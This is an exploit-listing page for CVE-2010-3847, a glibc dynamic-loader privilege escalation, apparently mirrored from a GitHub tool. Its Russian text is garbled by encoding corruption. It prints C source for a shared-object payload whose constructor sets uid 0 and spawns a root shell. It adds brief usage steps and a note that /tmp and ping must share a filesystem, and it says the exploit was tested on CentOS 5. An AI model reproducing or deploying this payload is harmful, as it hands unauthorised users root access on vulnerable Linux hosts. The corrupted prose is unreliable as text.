## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-MAGISTERQUIS-CVE-2010-3847
# CVE-2010-3847 ΡΠΊΡΠΈΠΏΡ
ΠΡΠ΅Π΄Π½Π°Π·Π½Π°ΡΠ΅Π½ Π΄Π»Ρ Π°Π²ΡΠΎΠΌΠ°ΡΠΈΠ·Π°ΡΠΈΠΈ ΡΠΊΡΠΏΠ»ΠΎΠΉΡΠ°, ΠΎΠΏΠΈΡΠ°Π½Π½ΠΎΠ³ΠΎ Π² [http://marc.info/?l=full-disclosure&m=128776663124692&w=2]. Π’Π΅ΡΡΠΈΡΠΎΠ²Π°Π»ΠΎΡΡ Π½Π° CentOS 5 x86.
DSO, ΠΊΠΎΡΠΎΡΠΎΠ΅ ΠΎΠ½ Π²ΡΠ²ΠΎΠ΄ΠΈΡ, ΡΠΊΠΎΠΌΠΏΠΈΠ»ΠΈΡΠΎΠ²Π°Π½ΠΎ ΠΈΠ· ΡΠ»Π΅Π΄ΡΡΡΠ΅Π³ΠΎ ΠΊΠΎΠ΄Π°:
root@kitploit:~
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
void __attribute__((constructor)) init()
{
setuid(0);
system("/bin/bash");
}
## ΠΡΠΏΠΎΠ»ΡΠ·ΠΎΠ²Π°Π½ΠΈΠ΅
Π‘ΠΊΠ°ΡΠ°ΠΉΡΠ΅, ΠΏΠΎΠΌΠ΅ΡΡΠΈΡΠ΅ Π² ΠΈΡΠΏΠΎΠ»Π½ΡΠ΅ΠΌΠΎΠ΅ ΠΌΠ΅ΡΡΠΎ ΠΈ Π·Π°ΠΏΡΡΡΠΈΡΠ΅.
## ΠΠΎΠ΄Π²ΠΎΠ΄Π½ΡΠ΅ ΠΊΠ°ΠΌΠ½ΠΈ
`/tmp` ΠΈ ΠΌΠ΅ΡΡΠΎΠ½Π°Ρ
ΠΎΠΆΠ΄Π΅Π½ΠΈΠ΅ `ping` Π΄ΠΎΠ»ΠΆΠ½Ρ Π½Π°Ρ
ΠΎΠ΄ΠΈΡΡΡΡ Π² ΠΎΠ΄Π½ΠΎΠΉ ΡΠ°ΠΉΠ»ΠΎΠ²ΠΎΠΉ ΡΠΈΡΡΠ΅ΠΌΠ΅. ΠΡΠ»ΠΈ Π½Π΅Ρ, ΡΠΎΠΎΡΠ²Π΅ΡΡΡΠ²ΡΡΡΠΈΠΌ ΠΎΠ±ΡΠ°Π·ΠΎΠΌ ΠΈΠ·ΠΌΠ΅Π½ΠΈΡΠ΅ ΠΏΡΡΠΈ.